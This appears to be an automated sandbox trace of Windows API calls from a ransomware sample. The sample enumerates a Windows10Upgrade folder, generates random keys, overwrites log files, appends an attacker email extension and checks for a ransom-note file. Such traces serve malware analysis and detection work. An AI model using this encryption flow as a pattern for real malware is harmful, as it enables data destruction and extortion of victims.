	[0075.054] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70880) returned 1
	[0075.054] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70a40) returned 1

Thread:
	id = 163
	os_tid = 0xe90

	[0075.055] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73a08
	[0075.055] wcscpy (in: _Dest=0x2d73a08, _Source="C:\\Windows10Upgrade\\resources" | out: _Dest="C:\\Windows10Upgrade\\resources") returned="C:\\Windows10Upgrade\\resources"
	[0075.055] wcscat (in: _Dest=0x2d73a08, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\") returned="C:\\Windows10Upgrade\\resources\\"
	[0075.055] wcscat (in: _Dest=0x2d73a08, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\*") returned="C:\\Windows10Upgrade\\resources\\*"
	[0075.055] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d88a78
	[0075.055] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\*", lpFindFileData=0x2d88a78 | out: lpFindFileData=0x2d88a78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b3c1b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3b3c1b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70700
	[0075.056] wcscmp (_String1=".", _String2=".") returned 0
	[0075.056] FindNextFileW (in: hFindFile=0x2d70700, lpFindFileData=0x2d88a78 | out: lpFindFileData=0x2d88a78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b3c1b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3b3c1b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.056] wcscmp (_String1="..", _String2=".") returned 1
	[0075.056] wcscmp (_String1="..", _String2="..") returned 0
	[0075.056] FindNextFileW (in: hFindFile=0x2d70700, lpFindFileData=0x2d88a78 | out: lpFindFileData=0x2d88a78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a5195, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3a5195, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64", cAlternateFileName="")) returned 1
	[0075.056] wcscmp (_String1="amd64", _String2=".") returned 1
	[0075.056] wcscmp (_String1="amd64", _String2="..") returned 1
	[0075.056] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x2d8b1c0
	[0075.056] wcscpy (in: _Dest=0x2d8b1c0, _Source="C:\\Windows10Upgrade\\resources" | out: _Dest="C:\\Windows10Upgrade\\resources") returned="C:\\Windows10Upgrade\\resources"
	[0075.056] wcscat (in: _Dest=0x2d8b1c0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\") returned="C:\\Windows10Upgrade\\resources\\"
	[0075.056] wcscat (in: _Dest=0x2d8b1c0, _Source="amd64" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64") returned="C:\\Windows10Upgrade\\resources\\amd64"
	[0077.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d8b1c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x814
	[0077.305] FindNextFileW (in: hFindFile=0x2d70700, lpFindFileData=0x2d88a78 | out: lpFindFileData=0x2d88a78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3a78b4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a78b4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xc981b, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwcompatShared.txt", cAlternateFileName="HWCOMP~1.TXT")) returned 1
	[0077.305] wcscmp (_String1="hwcompatShared.txt", _String2=".") returned 1
	[0077.305] wcscmp (_String1="hwcompatShared.txt", _String2="..") returned 1
	[0077.305] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x2e17968
	[0077.305] wcscpy (in: _Dest=0x2e17968, _Source="C:\\Windows10Upgrade\\resources" | out: _Dest="C:\\Windows10Upgrade\\resources") returned="C:\\Windows10Upgrade\\resources"
	[0077.305] wcscat (in: _Dest=0x2e17968, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\") returned="C:\\Windows10Upgrade\\resources\\"
	[0077.305] wcscat (in: _Dest=0x2e17968, _Source="hwcompatShared.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt") returned="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt"
	[0077.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e17968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x584
	[0077.306] FindNextFileW (in: hFindFile=0x2d70700, lpFindFileData=0x2d88a78 | out: lpFindFileData=0x2d88a78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3a9fd3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b1515, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3b1515, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="i386", cAlternateFileName="")) returned 1
	[0077.306] wcscmp (_String1="i386", _String2=".") returned 1
	[0077.306] wcscmp (_String1="i386", _String2="..") returned 1
	[0077.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x46) returned 0x2e00fe0
	[0077.306] wcscpy (in: _Dest=0x2e00fe0, _Source="C:\\Windows10Upgrade\\resources" | out: _Dest="C:\\Windows10Upgrade\\resources") returned="C:\\Windows10Upgrade\\resources"
	[0077.306] wcscat (in: _Dest=0x2e00fe0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\") returned="C:\\Windows10Upgrade\\resources\\"
	[0077.306] wcscat (in: _Dest=0x2e00fe0, _Source="i386" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386") returned="C:\\Windows10Upgrade\\resources\\i386"
	[0077.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e00fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x580
	[0077.307] FindNextFileW (in: hFindFile=0x2d70700, lpFindFileData=0x2d88a78 | out: lpFindFileData=0x2d88a78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3b3c1b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea63c947, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ux", cAlternateFileName="")) returned 1
	[0077.307] wcscmp (_String1="ux", _String2=".") returned 1
	[0077.307] wcscmp (_String1="ux", _String2="..") returned 1
	[0077.307] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x42) returned 0x2e01990
	[0077.307] wcscpy (in: _Dest=0x2e01990, _Source="C:\\Windows10Upgrade\\resources" | out: _Dest="C:\\Windows10Upgrade\\resources") returned="C:\\Windows10Upgrade\\resources"
	[0077.307] wcscat (in: _Dest=0x2e01990, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\") returned="C:\\Windows10Upgrade\\resources\\"
	[0077.307] wcscat (in: _Dest=0x2e01990, _Source="ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0077.307] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e01990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x578
	[0077.308] FindNextFileW (in: hFindFile=0x2d70700, lpFindFileData=0x2d88a78 | out: lpFindFileData=0x2d88a78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3b3c1b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea63c947, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ux", cAlternateFileName="")) returned 0
	[0077.308] FindClose (in: hFindFile=0x2d70700 | out: hFindFile=0x2d70700) returned 1
	[0077.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88a78) returned 1
	[0077.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73a08) returned 1
	[0077.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73390) returned 1

Thread:
	id = 164
	os_tid = 0x13ac

	[0075.056] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\upgrader_default.log" (normalized: "c:\\windows10upgrade\\upgrader_default.log")) returned 0x20
	[0075.059] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\upgrader_default.log", dwFileAttributes=0x20) returned 1
	[0075.059] CreateFileW (lpFileName="C:\\Windows10Upgrade\\upgrader_default.log" (normalized: "c:\\windows10upgrade\\upgrader_default.log"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x960
	[0075.059] GetFileSizeEx (in: hFile=0x960, lpFileSize=0x908f884 | out: lpFileSize=0x908f884*=250186) returned 1
	[0075.059] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x3d146, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.059] ReadFile (in: hFile=0x960, lpBuffer=0x908f808, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x908f804, lpOverlapped=0x0 | out: lpBuffer=0x908f808*, lpNumberOfBytesRead=0x908f804*=0x4, lpOverlapped=0x0) returned 1
	[0075.061] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.061] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0075.061] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b78
	[0075.061] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0075.061] NtQuerySystemTime (in: CurrentTime=0x908f7e4 | out: CurrentTime=0x908f7e4*=132251868017914503) returned 0x0
	[0075.061] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0xff483a9d
	[0075.061] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0xfcae4dad
	[0075.061] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0x24029dc4
	[0075.061] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0x6504e112
	[0075.061] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0x450fd534
	[0075.061] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0xe1ac364e
	[0075.061] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0x33282e7f
	[0075.061] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0x1c8b804e
	[0075.061] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0x63b0fd5d
	[0075.061] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0xbe2c771c
	[0075.061] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0x4bab3e7b
	[0075.061] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0x46e25931
	[0075.061] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0x74db7ed0
	[0075.061] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0xfe82f9c6
	[0075.061] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0x52288e15
	[0075.061] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0xb7e2aebc
	[0075.062] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0x1633a5e2
	[0075.062] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0x18ce67f4
	[0075.062] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0x1965b869
	[0075.062] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0x308bb77e
	[0075.062] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0xdb8da3a3
	[0075.062] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0x1c73241f
	[0075.062] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0xee62039
	[0075.062] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0x4eeefbe7
	[0075.062] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0xa29bf556
	[0075.062] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0xa75fa66d
	[0075.062] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0x868d23aa
	[0075.062] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0x4288ee7e
	[0075.062] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0x1abb440b
	[0075.062] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0xcf0ae772
	[0075.062] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0x27f23575
	[0075.062] RtlRandom (in: Seed=0x908f7f0 | out: Seed=0x908f7f0) returned 0x59504bfc
	[0075.075] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.075] ReadFile (in: hFile=0x960, lpBuffer=0x2e1df88, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x908f7c4, lpOverlapped=0x0 | out: lpBuffer=0x2e1df88*, lpNumberOfBytesRead=0x908f7c4*=0xc800, lpOverlapped=0x0) returned 1
	[0075.076] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.076] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73d20
	[0075.076] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04978
	[0075.076] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e478d0
	[0075.076] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478d0) returned 1
	[0075.077] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47a9fc0
	[0075.080] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0075.080] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0075.080] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c18) returned 1
	[0075.080] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04978) returned 1
	[0075.080] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73d20) returned 1
	[0075.080] WriteFile (in: hFile=0x960, lpBuffer=0x47a9fc0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x908f7c4, lpOverlapped=0x0 | out: lpBuffer=0x47a9fc0*, lpNumberOfBytesWritten=0x908f7c4*=0xc800, lpOverlapped=0x0) returned 1
	[0076.655] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a9fc0) returned 1
	[0076.655] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e1df88) returned 1
	[0076.655] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x35) returned 0x2d70c40
	[0076.655] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.655] WriteFile (in: hFile=0x960, lpBuffer=0x2d865f0*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0x908f844, lpOverlapped=0x0 | out: lpBuffer=0x2d865f0*, lpNumberOfBytesWritten=0x908f844*=0x119, lpOverlapped=0x0) returned 1
	[0076.682] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d865f0) returned 1
	[0076.682] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d709c0) returned 1
	[0076.682] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34618) returned 1
	[0076.682] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70c40) returned 1
	[0076.682] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0076.682] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b78) returned 1
	[0076.682] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ad8) returned 1
	[0076.682] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47830) returned 1
	[0076.682] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x2e2aad8
	[0076.682] wcscpy (in: _Dest=0x2e2aad8, _Source="C:\\Windows10Upgrade\\upgrader_default.log" | out: _Dest="C:\\Windows10Upgrade\\upgrader_default.log") returned="C:\\Windows10Upgrade\\upgrader_default.log"
	[0076.682] wcscat (in: _Dest=0x2e2aad8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\upgrader_default.log.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\upgrader_default.log.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.682] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\upgrader_default.log.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x908f7fc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\upgrader_default.log.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.682] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2d7d848
	[0076.683] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d848) returned 1
	[0076.683] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f268) returned 1
	[0076.683] NtQueryInformationFile (in: FileHandle=0x960, IoStatusBlock=0x908f808, FileInformation=0x908f7e0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x908f808, FileInformation=0x908f7e0) returned 0x0
	[0076.683] NtSetInformationFile (FileHandle=0x960, IoStatusBlock=0x908f808, FileInformation=0x908f7e0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.684] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2aad8) returned 1
	[0076.684] FlushFileBuffers (hFile=0x960) returned 1
	[0078.362] CloseHandle (hObject=0x960) returned 1
	[0078.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2dabe48
	[0078.363] wcscpy (in: _Dest=0x2dabe48, _Source="C:\\Windows10Upgrade\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\"
	[0078.363] wcscat (in: _Dest=0x2dabe48, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\C3F7E-Readme.txt") returned="C:\\Windows10Upgrade\\C3F7E-Readme.txt"
	[0078.363] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\C3F7E-Readme.txt" (normalized: "c:\\windows10upgrade\\c3f7e-readme.txt")) returned 0x20
	[0078.364] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabe48) returned 1
	[0078.364] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77960) returned 1

Thread:
	id = 165
	os_tid = 0x1370

	[0075.060] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\upgrader_win10.log" (normalized: "c:\\windows10upgrade\\upgrader_win10.log")) returned 0x20
	[0075.061] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\upgrader_win10.log", dwFileAttributes=0x20) returned 1
	[0075.075] CreateFileW (lpFileName="C:\\Windows10Upgrade\\upgrader_win10.log" (normalized: "c:\\windows10upgrade\\upgrader_win10.log"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x968
	[0075.075] GetFileSizeEx (in: hFile=0x968, lpFileSize=0x910fb94 | out: lpFileSize=0x910fb94*=20548) returned 1
	[0075.075] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x5040, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.075] ReadFile (in: hFile=0x968, lpBuffer=0x910fb18, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x910fb14, lpOverlapped=0x0 | out: lpBuffer=0x910fb18*, lpNumberOfBytesRead=0x910fb14*=0x4, lpOverlapped=0x0) returned 1
	[0075.084] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.084] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0075.084] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47bc8
	[0075.084] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0075.084] NtQuerySystemTime (in: CurrentTime=0x910faf4 | out: CurrentTime=0x910faf4*=132251868018268190) returned 0x0
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0xe56d48ea
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0xe9f3b8dd
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0x8f58cf77
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0xb3663a9d
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0xfaebc5dd
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0x270d38d9
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0xa7d0562a
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0x20e58913
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0x41a73b4d
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0x457cfb30
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0x15db4b
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0x48dce90d
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0x34450614
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0xffa0c441
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0x1192b4f1
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0x8a09f46
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0xe1a78cbe
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0x86e0c551
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0xd8fc485
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0x762d6b22
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0xd98af6fd
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0x917f483d
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0x5f1f0378
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0x54b812a3
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0x7437780e
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0xf68ba230
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0x148cfb00
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0x591014ef
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0xb3797d57
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0xb121c386
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0x86b3a9b8
	[0075.084] RtlRandom (in: Seed=0x910fb00 | out: Seed=0x910fb00) returned 0x181df629
	[0075.097] ReadFile (in: hFile=0x968, lpBuffer=0x47b67c8, nNumberOfBytesToRead=0x5044, lpNumberOfBytesRead=0x910faf0, lpOverlapped=0x0 | out: lpBuffer=0x47b67c8*, lpNumberOfBytesRead=0x910faf0*=0x5044, lpOverlapped=0x0) returned 1
	[0075.098] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.098] WriteFile (in: hFile=0x968, lpBuffer=0x47c2fd0*, nNumberOfBytesToWrite=0x5044, lpNumberOfBytesWritten=0x910faec, lpOverlapped=0x0 | out: lpBuffer=0x47c2fd0*, lpNumberOfBytesWritten=0x910faec*=0x5044, lpOverlapped=0x0) returned 1
	[0075.102] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0075.102] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c40
	[0075.102] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c40) returned 1
	[0075.102] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c2fd0) returned 1
	[0075.102] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47b67c8) returned 1
	[0075.102] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04978) returned 1
	[0075.102] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73d20) returned 1
	[0075.102] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x31) returned 0x2d70d00
	[0075.102] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
